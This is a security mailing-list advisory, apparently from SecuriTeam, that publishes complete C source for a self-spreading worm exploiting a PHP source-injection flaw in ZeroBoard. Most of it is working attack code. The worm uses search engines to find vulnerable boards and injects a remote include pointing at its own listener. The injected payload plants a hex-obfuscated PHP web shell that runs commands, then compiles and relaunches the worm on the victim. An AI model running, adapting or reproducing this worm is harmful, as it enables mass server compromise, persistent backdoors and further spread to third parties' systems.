[EXPL] ZeroBoard Worm Source Code

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  ZeroBoard Worm Source Code
------------------------------------------------------------------------


SUMMARY

Presented here is the source code for a worm exploiting an old 
vulnerability in ZeroBoard. The worm can use several search engines to 
look for vulnerable sites.

DETAILS

The worm exploits a vulnerability in ZeroBoard, allowing an attacker to 
inject arbitrary PHP code. For more information see:  
<http://www.securiteam.com/unixfocus/5ZP0D1F7FA.html> Zeroboard PHP Source 
Injection
The worm also install a backdoor on the affected server, so the attacker 
can gain control of the server later.

Exploit Code:
/*
** ZeroBoard -1day INE w0rm
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <net/if.h>
#ifdef __sun__
#include <sys/sockio.h>
#endif /* __SunOS__ */

#define DEBUG_ING
#undef DEBUG_ING

#define TMP_FILE "./tmp.core"
#define CMD_FILE "./cmd.core"
#define PRC_FILE "./proc.core"
#define SCS (0)
#define MIN (1)

#ifdef __linux__
#define DEF_ETH "eth0"
#else
#ifdef __FreeBSD__
#define DEF_ETH "ed0"
#else
#ifdef __sun__
#define DEF_ETH "hme0"
#endif
#endif
#endif

#define MAX_BUF (0x0000ffff)
#define FIR_BUF (0x00000800)
#define SEC_BUF (0x00000400)
#define THR_BUF (0x00000200)
#define MIN_BUF (0x00000100)

#define VENDOR "nzeo.com"

// search rule
#define FD_RULE_0 "/zboard/zboard.php"
#define FD_RULE_1 "/zb41/zboard.php"
#define FD_RULE_2 "/bbs/zboard.php"
#define FD_RULE_3 "/zb/zboard.php"
#define FD_RULE_4 "/zb40/zboard.php"
#define FD_RULE_5 "/board/zboard.php"
#define FD_RULE_6 "zboard.php"
#define FD_RULE_7 "zboard.ph"

// pattern
#define FD_PATH_0 "/zboard/skin/zero_vote/login.php"
#define FD_PATH_1 "/zb41/skin/zero_vote/login.php"
#define FD_PATH_2 "/bbs/skin/zero_vote/login.php"
#define FD_PATH_3 "/zb/skin/zero_vote/login.php"
#define FD_PATH_4 "/zb40/skin/zero_vote/login.php"
#define FD_PATH_5 "/board/skin/zero_vote/login.php"
#define FD_PATH_6 "/skin/zero_vote/login.php"

#define RESULT_OK "200 OK"
#define MAKE_STR1 "BACKDOOR MAKE SUCCESS"
#define MAKE_STR2 "ZBCODE MAKE SUCCESS"
#define DELT_STR1 "BACKDOOR DELETE SUCCESS"
#define DELT_STR2 "ZBCODE DELETE SUCCESS"

#define DEF_PORT (31337)
#define CONN_PORT (80)
#define DEF_TIME (20)

int set_sock(char *sc_gt_host,int port,int type);
void re_connt_lm(int st_sock_va,int type);
int proc_r();
void t_kill();
void sf_exit();
int g_ip(char *ip);
int make_cmd_file();
int filter_f(char *test_bf,int tnum);

int sock;

struct tg_rl
{
 int r_num;
 char *r_str;
 char *url_str;
};

#define TARGET_NUM (7)
#define SEARCH_NUM (4)

struct tg_rl __tg_rule_va[]=
{
 {0,FD_RULE_0,FD_PATH_0},
 {1,FD_RULE_1,FD_PATH_1},
 {2,FD_RULE_2,FD_PATH_2},
 {3,FD_RULE_3,FD_PATH_3},
 {4,FD_RULE_4,FD_PATH_4},
 {5,FD_RULE_5,FD_PATH_5},
 {6,FD_RULE_6,FD_PATH_6},
 {7,FD_RULE_7,FD_PATH_6},
 {8,NULL,NULL}
};

struct search_rule
{
 int num;
 u_char *url;
 int maxnum;
 int defnum;
 u_char *http_head;
};

struct search_rule search_va[]=
{
 {0,"www.google.com",990,10,"http://"},
 {1,"kr.search.yahoo.com",990,15,"http://"},
 {2,"search.nate.com",480,10,"http://"},
 {3,"search.lycos.com",990,10,"//"},
 {4,"kr.altavista.com",1000,10,"//"},
 {5,NULL,0,0,NULL}
};

void t_kill()
{
#ifdef DEBUG_ING
 fprintf(stdout,"time out\n");
#endif
 close(sock);
 sock=-1;
 signal(SIGALRM,SIG_DFL);
 return;
}

void sf_exit()
{
#ifdef DEBUG_ING
 fprintf(stdout,"safe exit\n");
#endif
 close(sock);
 kill((int)proc_r(),9);
 unlink(TMP_FILE);
 unlink(CMD_FILE);
 unlink(PRC_FILE);
 exit(-1);
}

int main(int argc,char *argv[])
{
 FILE *fp;

 int tnum=(SCS);
 int chk=(SCS);
 int gogo=(SCS);
 int whgl=(SCS);
 int qnum=(SCS);
 int tgrl_sl=(MIN);
 int _conn_num=(SCS);
 int port=(CONN_PORT);
 int def_port=(DEF_PORT);
 int sc_gt_sock;
 int host_chk=(SCS);

 u_char *gg_ptr=NULL;
 u_char *t_ptr=NULL;
 u_char __zr_bf[(MAX_BUF)];
 u_char *port_ptr=NULL;

 char pkt[(FIR_BUF)];
 char host[(SEC_BUF)];
 char url[(SEC_BUF)];
 char test_bf[(MAX_BUF)];
 char req_t_bf[(THR_BUF)];
 char ip[(MIN_BUF)];
 char atk_code[(MIN_BUF)];

 signal(SIGINT,sf_exit);
 signal(SIGTSTP,sf_exit);

 while((whgl=getopt(argc,argv,"S:s:T:t:Q:q:P:p:H:h:U:u:"))!=EOF)
 {
  extern char *optarg;
  switch(whgl)
  {
   case 'S':
   case 's':
    tnum=atoi(optarg);
    if(SEARCH_NUM<tnum)
    {
     fprintf(stderr,"target error\n");
     exit(-1);
    }
    break;

   case 'T':
   case 't':
    tgrl_sl=atoi(optarg);
    if(TARGET_NUM<tgrl_sl)
    {
     fprintf(stderr,"target error\n");
     exit(-1);
    }
    break;

   case 'Q':
   case 'q':
    qnum=atoi(optarg);
    break;
    
   case 'P':
   case 'p':
    def_port=atoi(optarg);
    break;
    
   case 'H':
   case 'h':
    memset((char *)host,0,sizeof(host));
    strncpy(host,optarg,sizeof(host)-1);
    host_chk++;
    break;
    
   case 'U':
   case 'u':
    memset((char *)url,0,sizeof(url));
    strncpy(url,optarg,sizeof(url)-1);
    host_chk++;
    break;
    
   default:
    exit(-1);
  }
 }

 (int)make_cmd_file();

 if(fork()==0)
 {
  signal(SIGALRM,SIG_IGN);
  for(whgl=0;whgl<argc;whgl++)
  {
   memset((char *)argv[whgl],0,strlen(argv[whgl]));
  }
  strcpy(argv[0],"receive mode process");
  if((fp=fopen(PRC_FILE,"w"))==NULL)
  {
   sf_exit();
  }
  fprintf(fp,"%d\n",getpid());
  fclose(fp);
  sc_gt_sock=(int)set_sock(NULL,def_port,1);
  (void)re_connt_lm(sc_gt_sock,0);
 }
 else
 {
  for(whgl=0;whgl<argc;whgl++)
  {
   memset((char *)argv[whgl],0,strlen(argv[whgl]));
  }
  strcpy(argv[0],"scanning mode process");

  switch(host_chk)
  {
   case 1:
#ifdef DEBUG_ING
    fprintf(stdout,"argument error\n");
#endif
    sf_exit();
    break;
    
   case 2:
    goto ok;
    break;
  }

#ifdef DEBUG_ING
  fprintf(stdout,"search url: %s\n",search_va[tnum].url);
#endif
  for(_conn_num=qnum; _conn_num< search_va[tnum].maxnum; _conn_num += 
(search_va[tnum].defnum))
  {
conn:   if((sock=(int)set_sock(search_va[tnum].url,(CONN_PORT),0))==-1)
   {
    goto conn;
   }

   memset((char *)req_t_bf,0,sizeof(req_t_bf));
   switch(search_va[tnum].num)
   {
    case 0:
     snprintf(req_t_bf,sizeof(req_t_bf)-1,
      "GET /search?q=%s"
      "&hl=ko&lr=&ie=UTF-8&start=%d&sa=N "
      "HTTP/1.0\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num);
     break;
    case 1:
     snprintf(req_t_bf,sizeof(req_t_bf)-1,
      "GET /search/web?p=%s&b=%d "
      "HTTP/1.0\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num);
     break;
    case 2:
     snprintf(req_t_bf,sizeof(req_t_bf)-1,
      "GET /webpage/search.asp?query=%s&start=%d "
      "HTTP/1.0\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num);
     break;
    case 3:
     snprintf(req_t_bf,sizeof(req_t_bf)-1,
      "GET /default.asp?query=%s&first=%d&pmore=more "
      "HTTP/1.0\r\n"
      "Accept-Language: ko\r\n"
      "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n"
      "Host: 
%s\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num,search_va[tnum].url);
     break;
    case 4:
     snprintf(req_t_bf,sizeof(req_t_bf)-1,
      "GET /web/results?itag=wrx&q=%s&stq=%d "
      "HTTP/1.0\r\n"
      "Accept-Language: ko\r\n"
      "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n"
      "Host: 
%s\r\n\r\n",(__tg_rule_va[tgrl_sl].r_str),_conn_num,search_va[tnum].url);
     break;
   }
   send(sock,req_t_bf,strlen(req_t_bf),0);
   whgl=(SCS);

   if((fp=fopen(TMP_FILE,"w"))==NULL)
   {
    return(-1);
   }
   signal(SIGALRM,SIG_IGN);
   alarm(MAX_BUF);
   
   memset((char *)test_bf,0,sizeof(test_bf));
   while(recv(sock,test_bf,sizeof(test_bf)-1,0))
   {
    fprintf(fp,"%s",test_bf);
    memset((char *)test_bf,0,sizeof(test_bf));
   }
   fclose(fp);
   close(sock);

   if((fp=fopen(TMP_FILE,"r"))==NULL)
   {
    return(-1);
   }

   while(fgets(__zr_bf,sizeof(__zr_bf)-1,fp))
   {
    gg_ptr=__zr_bf;

    while(MIN)
    {
     t_ptr=(char *)strstr(gg_ptr,search_va[tnum].http_head);
     gg_ptr=(char *)strstr(gg_ptr,search_va[tnum].http_head) + 
strlen(search_va[tnum].http_head);

     if(t_ptr!=NULL)
     {
      memset((char *)test_bf,0,sizeof(test_bf));
      whgl=(SCS);
      chk=(SCS);

      for(gogo=0;gogo<strlen(t_ptr);gogo++)
      {
       if(chk)
       {
        if(t_ptr[gogo]=='>')
         chk=0;
       }
       else {
        if(t_ptr[gogo]==' ')
         continue;
        else if(t_ptr[gogo]=='<')
         chk=1;
        else test_bf[whgl++]=t_ptr[gogo];
       }
      }

      if(!strstr(test_bf,__tg_rule_va[tgrl_sl].r_str))
       continue;
      else t_ptr=(char *)strstr(test_bf,__tg_rule_va[tgrl_sl].r_str);

      if(t_ptr!=NULL)
       t_ptr[0]='\0';
      else continue;

      if(filter_f(test_bf,tnum))
      {
       t_ptr=(char *)strstr(test_bf,search_va[tnum].http_head) + 
strlen(search_va[tnum].http_head);
       if(strstr(t_ptr,search_va[tnum].http_head))
        continue;

       memset((char *)host,0,sizeof(host));
       memset((char *)url,0,sizeof(url));

       chk=(SCS);

       if(strstr(test_bf,search_va[tnum].http_head))
       {
        t_ptr=(char *)strstr(test_bf,search_va[tnum].http_head) + 
strlen(search_va[tnum].http_head);
        port=(CONN_PORT);

        for(whgl=0;whgl<strlen(t_ptr)+1;whgl++)
        {
         if(t_ptr[whgl]=='/')
         {
          for(gogo=0;whgl<strlen(t_ptr);whgl++)
           url[gogo++]=t_ptr[whgl];
          strcat(url,__tg_rule_va[tgrl_sl].url_str);
          break;
         }
         else if(t_ptr[whgl]=='\0')
         {
          strncpy(url,__tg_rule_va[tgrl_sl].url_str,sizeof(url)-1);
          break;
         }
         else if(t_ptr[whgl]==':')
         {
          port_ptr=(char *)strstr(t_ptr,":")+1;
          port=atoi(port_ptr);
         }
         else host[chk++]=t_ptr[whgl];
        }
#ifdef DEBUG_ING
        
fprintf(stdout,"Total:%s,URL:%s,HOST:%s,PORT:%d\n",test_bf,url,host,port);
#endif
ok:
        sock=set_sock(host,port,0);
        if(sock==-1)
         continue;
        else {
         memset((char *)ip,0,sizeof(ip));
         memset((char *)atk_code,0,sizeof(atk_code));
         memset((char *)pkt,0,sizeof(pkt));

         (int)g_ip(ip);
         
snprintf(atk_code,sizeof(atk_code)-1,"dir=http://%s:%d/\r\n",ip,def_port);
         snprintf(pkt,sizeof(pkt)-1,
          "POST http://%s%s HTTP/1.0\r\n"
          "Content-Type: application/x-www-form-urlencoded\r\n"
          "Content-Length: %d\r\n"
          "Host: 
%s\r\n\r\n%s\r\n",host,url,strlen(atk_code),host,atk_code);
         send(sock,pkt,strlen(pkt),0);
         memset((char *)pkt,0,sizeof(pkt));
         recv(sock,pkt,sizeof(pkt)-1,0);
#ifdef DEBUG_ING
         if(strstr(pkt,RESULT_OK))
         {
          if(strstr(pkt,MAKE_STR1))
           fprintf(stdout,"%s\n",MAKE_STR1);
          if(strstr(pkt,MAKE_STR2))
           fprintf(stdout,"%s\n",MAKE_STR2);
          if(strstr(pkt,DELT_STR1))
           fprintf(stdout,"%s\n",DELT_STR1);
          if(strstr(pkt,DELT_STR2))
           fprintf(stdout,"%s\n",DELT_STR2);
          printf("%s: %s\n",RESULT_OK,host);
         }
#endif
        }
        close(sock);

        if(host_chk)
        {
         sf_exit();
        }
       }
      }
     }
     else break;
    }
    memset((char *)__zr_bf,0,sizeof(__zr_bf));
   }
   fclose(fp);
   unlink(TMP_FILE);
  }
  sf_exit();
 }
}

int set_sock(char *sc_gt_host,int port,int type)
{
 struct sockaddr_in sock_st;
 struct sockaddr_in t_st;
 int nw_gt_sock,s_s;
 struct hostent *hst_etr;
 int sc_gt_sock;
 int t_c=0;
 char t_b[(SEC_BUF)];
 FILE *fp;
 char http_rq[]="HTTP/1.1 200 OK\r\n\r\n";

 if(!type){
  signal(SIGALRM,t_kill);
  alarm(DEF_TIME);

  if((hst_etr=gethostbyname(sc_gt_host))==NULL)
  {
   return(-1);
  }
  if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  {
   return(-1);
  }
  sock_st.sin_family=(AF_INET);
  sock_st.sin_port=htons(port);
  sock_st.sin_addr=*((struct in_addr *)hst_etr->h_addr);
  memset(&(sock_st.sin_zero),0,8);

  if(connect(sock,(struct sockaddr *)&sock_st,sizeof(struct 
sockaddr))==-1)
  {
   close(sock);
   return(-1);
  }
  return(sock);
 }
 else{
  if((sc_gt_sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  {
   return(-1);
  }

  sock_st.sin_family=(AF_INET);
  sock_st.sin_port=htons(port);
  sock_st.sin_addr.s_addr=(INADDR_ANY);
  memset(&(sock_st.sin_zero),0,8);

  if(bind(sc_gt_sock,(struct sockaddr *)&sock_st,sizeof(struct 
sockaddr))==-1)
  {
   close(sc_gt_sock);
   return(-1);
  }
#define BK_LG 10
  if(listen(sc_gt_sock,(BK_LG))==-1){
   close(sc_gt_sock);
   return(-1);
  }
  while(1){
   s_s=sizeof(struct sockaddr_in);
   if((nw_gt_sock=accept(sc_gt_sock,(struct sockaddr *)&t_st,&s_s))==-1)
   {
    close(nw_gt_sock);
    close(sc_gt_sock);
    return(-1);
   }
   while(recv(nw_gt_sock,&t_c,1,0)){
    if(t_c==0x0d){
     recv(nw_gt_sock,&t_c,1,0);
     if(t_c==0x0a){
      recv(nw_gt_sock,&t_c,1,0);
      if(t_c==0x0d){
       recv(nw_gt_sock,&t_c,1,0);
       if(t_c==0x0a){
        break;
       }
      }
     }
    }
   }

   send(nw_gt_sock,http_rq,strlen(http_rq),0);
   if((fp=fopen(CMD_FILE,"r"))==NULL){
    close(nw_gt_sock);
    close(sc_gt_sock);
    return(-1);
   }
   memset((char *)t_b,0,sizeof(t_b));
   while(fgets(t_b,sizeof(t_b)-1,fp)){
    send(nw_gt_sock,t_b,strlen(t_b),0);
   }
   fclose(fp);
   close(nw_gt_sock);
   continue;
  }
  close(sc_gt_sock);
  return(-1);
 }
}

void re_connt_lm(int st_sock_va,int type)
{
 if(st_sock_va==-1)
 {
  if(!type){
   kill(getppid(),9); // parent
  }
  kill((int)proc_r(),9); // child
  sf_exit();
 }
}

int proc_r(){
 FILE *fp;
 int proc_n;
 if((fp=fopen(PRC_FILE,"r"))==NULL){
  exit(-1); // child check.
 }
 fscanf(fp,"%16d",&proc_n);
 fclose(fp);
 return proc_n;
}

int g_ip(char *ip)
{
 int sock;
 struct ifreq ifpq;
 struct sockaddr_in *pq;

 memset(&ifpq,0,sizeof(ifpq));
 if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
 {
  return(-1);
 }
 pq=(struct sockaddr_in *)&ifpq.ifr_addr;
 pq->sin_family=AF_INET;
 
 memcpy(ifpq.ifr_name,(DEF_ETH),sizeof(ifpq.ifr_name));
 if(ioctl(sock,SIOCGIFADDR,&ifpq)==0)
 {
  memset((char *)ip,0,(MIN_BUF));
  snprintf(ip,(MIN_BUF)-1,"%s",inet_ntoa(pq->sin_addr));
 }
 return 0;
}

#define BACKDOOR_PATH "zblog.php"
#define CODE_PATH "zbcode"
#define CODE_PATH_SRC "zbcode.c"

int make_cmd_file()
{
 unsigned long w1=0;
 FILE *fp;
 FILE *pf;
 
 if((fp=fopen(CMD_FILE,"w"))==NULL)
 {
  return(-1);
 }
 
 fprintf(fp,"<?\n"
  "chdir('../../');\n\n"
  "if(($fp=fopen('%s','r'))!=NULL)\n"
  "{\n"
  "$pnum=fread($fp,32);\n"
  "fclose($fp);\n"
  "$pnum=str_replace(\"\\n\",\"\",$pnum);\n"
  "if(($fp=fopen('/proc/'.$pnum.'/stat','r'))!=NULL)\n"
  "{\n"
  "exit;\n"
  "}\n"
  "}\n\n"
  
"$cont=\"\\x3c\\x3f\\x0a\\x09\\x65\\x63\\x68\\x6f\\x20\\x27\\x3c\\x46\".\n"
  "\"\\x4f\\x52\\x4d\\x20\\x41\\x43\\x54\\x49\\x4f\\x4e\\x3d\\x24\".\n"
  "\"\\x50\\x48\\x50\\x5f\\x53\\x45\\x4c\\x46\\x20\\x4d\\x45\\x54\".\n"
  "\"\\x48\\x4f\\x44\\x3d\\x50\\x4f\\x53\\x54\\x3e\\x27\\x3b\\x0a\".\n"
  "\"\\x09\\x65\\x63\\x68\\x6f\\x20\\x27\\x3c\\x49\\x4e\\x50\\x55\".\n"
  "\"\\x54\\x20\\x54\\x59\\x50\\x45\\x3d\\x48\\x49\\x44\\x44\\x45\".\n"
  "\"\\x4e\\x20\\x4e\\x41\\x4d\\x45\\x3d\\x63\\x6d\\x64\\x20\\x56\".\n"
  "\"\\x41\\x4c\\x55\\x45\\x3d\\x24\\x63\\x6f\\x6d\\x6d\\x61\\x6e\".\n"
  "\"\\x64\\x3e\\x3c\\x2f\\x46\\x4f\\x52\\x4d\\x3e\\x3c\\x50\\x52\".\n"
  "\"\\x45\\x3e\\x27\\x3b\\x0a\\x09\\x24\\x63\\x6f\\x6d\\x6d\\x61\".\n"
  "\"\\x6e\\x64\\x3d\\x73\\x74\\x72\\x5f\\x72\\x65\\x70\\x6c\\x61\".\n"
  "\"\\x63\\x65\\x28\\x27\\x5c\\x5c\\x27\\x2c\\x27\\x27\\x2c\\x24\".\n"
  "\"\\x63\\x6f\\x6d\\x6d\\x61\\x6e\\x64\\x29\\x3b\\x0a\\x09\\x65\".\n"
  "\"\\x63\\x68\\x6f\\x20\\x60\\x24\\x63\\x6f\\x6d\\x6d\\x61\\x6e\".\n"
  "\"\\x64\\x60\\x3b\\x0a\\x3f\\x3e\\x0a\";\n\n"
  "$fp=fopen('%s','w');\n"
  "fputs($fp,$cont);\n"
  "fclose($fp);\n\n",PRC_FILE,BACKDOOR_PATH);

 if((pf=fopen(CODE_PATH,"r"))==NULL)
 {
  return(-1);
 }
 
 fprintf(fp,"$cont=\"");
 while(fread(&w1,1,1,pf))
 {
  fprintf(fp,"\\x%02x",w1);
 }
 fclose(pf);
 fprintf(fp,"\";\n\n");
 
 fprintf(fp,"$fp=fopen('%s','w');\n"
  "fputs($fp,$cont);\n"
  "fclose($fp);\n\n",CODE_PATH);
 if((pf=fopen(CODE_PATH_SRC,"r"))==NULL)
 {
  return(-1);
 }
 fprintf(fp,"$cont=\"");
 while(fread(&w1,1,1,pf))
 {
  fprintf(fp,"\\x%02x",w1);
 }
 fclose(pf);
 fprintf(fp,"\";\n\n");
 
 fprintf(fp,"$fp=fopen('%s','w');\n"
  "fputs($fp,$cont);\n"
  "fclose($fp);\n\n",CODE_PATH_SRC);
 fprintf(fp,"$RES=`gcc -o %s %s`;\n\n",CODE_PATH,CODE_PATH_SRC);

 fprintf(fp,"chmod('%s',0755);\n",CODE_PATH);

 fprintf(fp,"if(($fp=fopen('%s','r'))!=NULL){\n",BACKDOOR_PATH);
 fprintf(fp,"echo \"%s\\n\";\n",MAKE_STR1);
 fprintf(fp,"} fclose($fp);\n\n");
 fprintf(fp,"if(($fp=fopen('%s','r'))!=NULL){\n",CODE_PATH);
 fprintf(fp,"echo \"%s\\n\";\n",MAKE_STR2);
 fprintf(fp,"} fclose($fp);\n\n");

#if 1
 fprintf(fp,"$fnum=(rand()%%%d);\n",TARGET_NUM);
 fprintf(fp,"$snum=(rand()%%%d);\n",SEARCH_NUM);
 fprintf(fp,"$randnum=(rand()%400);\n");
 
 fprintf(fp,"while(1)\n{\n");
 fprintf(fp,"if(($fp=fopen('%s','r'))!=NULL)\n"
  "{\n"
  "$pnum=fread($fp,32);\n"
  "fclose($fp);\n"
  "$pnum=str_replace(\"\\n\",\"\",$pnum);\n"
  "if(($fp=fopen('/proc/'.$pnum.'/stat','r'))!=NULL)\n"
  "{\n"
  "exit;\n"
  "}\n"
  "}\n\n",PRC_FILE);

 fprintf(fp,"$port=(rand()%%65500);\n");
 fprintf(fp,"if($port>1024){\n");
 fprintf(fp,"exec(\"./%s -t $fnum -p $port -s $snum -q 
$randnum\");\n",CODE_PATH);
 fprintf(fp,"}\n}\n");
#else
 fprintf(fp,"unlink('%s');\n",BACKDOOR_PATH);
 fprintf(fp,"unlink('%s');\n",CODE_PATH);

 fprintf(fp,"if(($fp=fopen('%s','r'))==NULL){\n",BACKDOOR_PATH);
 fprintf(fp,"echo \"%s\\n\";\n",DELT_STR1);
 fprintf(fp,"} else { fclose($fp);\n");
 fprintf(fp,"$result=`rm -f %s`;\n$result=`del 
%s`;\n",BACKDOOR_PATH,BACKDOOR_PATH);
 fprintf(fp,"if(($fp=fopen('%s','r'))==NULL){\n",BACKDOOR_PATH);
 fprintf(fp,"echo \"%s\\n\";\n",DELT_STR1);
 fprintf(fp,"}\n}\n");

 fprintf(fp,"if(($fp=fopen('%s','r'))==NULL){\n",CODE_PATH);
 fprintf(fp,"echo \"%s\\n\";\n",DELT_STR2);
 fprintf(fp,"} else { fclose($fp);\n");
 fprintf(fp,"$result=`rm -f %s`;\n$result=`del 
%s`;\n",CODE_PATH,CODE_PATH);
 fprintf(fp,"if(($fp=fopen('%s','r'))==NULL){\n",CODE_PATH);
 fprintf(fp,"echo \"%s\\n\";\n",DELT_STR2);
 fprintf(fp,"}\n}\n");
#endif
 fprintf(fp,"?>\n");
 fclose(fp);
}

int filter_f(char *test_bf,int tnum)
{
 switch(search_va[tnum].num)
 {
  case 0: /* google */
   if(!strstr(test_bf,"google")&&!strstr(test_bf,"/search?q=cache:")
    &&!strstr(test_bf,"<")&&!strstr(test_bf,">")
    &&!strstr(test_bf,"%3F")&&!strstr(test_bf,"...")
    &&!strstr(test_bf,VENDOR))
   {
    return 1;
   }
   else return 0;
   break;
   
  case 1: /* yahoo */
   if(!strstr(test_bf,"yahoo")&&!strstr(test_bf,"/cache.php?")
    &&!strstr(test_bf,"<")&&!strstr(test_bf,">")
    &&!strstr(test_bf,"search")&&!strstr(test_bf,".html%")
    &&!strstr(test_bf,"...")&&!strstr(test_bf,VENDOR))
   {
    return 1;
   }
   else return 0;
   break;
   
  case 2: /* nate */
   if(!strstr(test_bf,"nate")&&!strstr(test_bf,"RESULT")
    &&!strstr(test_bf,"<")&&!strstr(test_bf,">")
    &&!strstr(test_bf,"/search/")&&!strstr(test_bf,"%3F")
    &&!strstr(test_bf,"...")&&!strstr(test_bf,VENDOR))
   {
    return 1;
   }
   else return 0;
   break;
   
  case 3: /* lycos */
   if(!strstr(test_bf,"lycos")&&!strstr(test_bf,"<")
    &&!strstr(test_bf,">")&&!strstr(test_bf,"%3F")
    &&!strstr(test_bf,"...")&&!strstr(test_bf,VENDOR))
   {
    return 1;
   }
   else return 0;
   break;
   
  case 4: /* altavista */
   if(!strstr(test_bf,"ref_")&&!strstr(test_bf,"<")
    &&!strstr(test_bf,">")&&!strstr(test_bf,"%3f")
    &&!strstr(test_bf,"...")&&!strstr(test_bf,VENDOR))
   {
    return 1;
   }
   else return 0;
   break;
   
  default:
   return 0;
   break;
 }
 return 0;
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
anonymous.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.